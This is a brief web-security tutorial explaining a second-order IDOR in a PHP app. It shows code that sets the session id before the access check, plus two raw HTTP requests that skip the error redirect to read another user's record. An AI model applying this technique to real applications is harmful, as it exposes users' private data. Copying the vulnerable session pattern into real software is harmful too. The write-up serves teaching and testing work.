Second-order IDOR#

We found a webapp function that stores data. when we access our own data, the url becomes like this /get_data.php?id=2. Classic IDOR

However, when we try to switch to another id, we get redirected to /error.php and logged out:

<?php
  session_start();
  require_once ('db.php');

  if(!$_SESSION['user']){
    header("Location: index.php");
    exit;
  }

  $_SESSION['id'] = $_GET['id'];

  if(check_access($_SESSION['id'], $_SESSION['user'])){
    header("Location: display_data.php");
    exit;
  } else {
    header("Location: error.php");
    exit;
  }
?>

If the check_access function returns false, we get redirected to /error.php, and our session is indeed removed

<?php
  session_start();
  session_unset();

  $_SESSION['msg'] = 'Something went wrong. You have been logged out for security reasons.';

  header("Location: index.php");
  exit;
?>

If the check_access function returns true, we get redirected to display_data.php, which is this code

<?php
  session_start();
  require_once ('db.php');

  if(!$_SESSION['user']){
    header("Location: index.php");
    exit;
  }

  $user_data = fetch_user_data($_SESSION['user']);
  $data = fetch_data($_SESSION['id']);
?>

However, if you look closely in the get_data.php code, it set our $SESSION['id'] prematurely. See Premature Session Population.

And so, we can just access /get_data?id=1, drop the 302 redirection

GET /get_data?id=1 HTTP/1.1
Cookie: PHPSESSID=asdasdasdasdasdasdasd

And go straight to /display_data.php.

GET /display_data.php HTTP/1.1
Cookie: PHPSESSID=asdasdasdasdasdasdasd

This way, the webapp set the session variable id for us, and our session didn’t get removed by /error.php, and we successfully exploited the IDOR vulnerability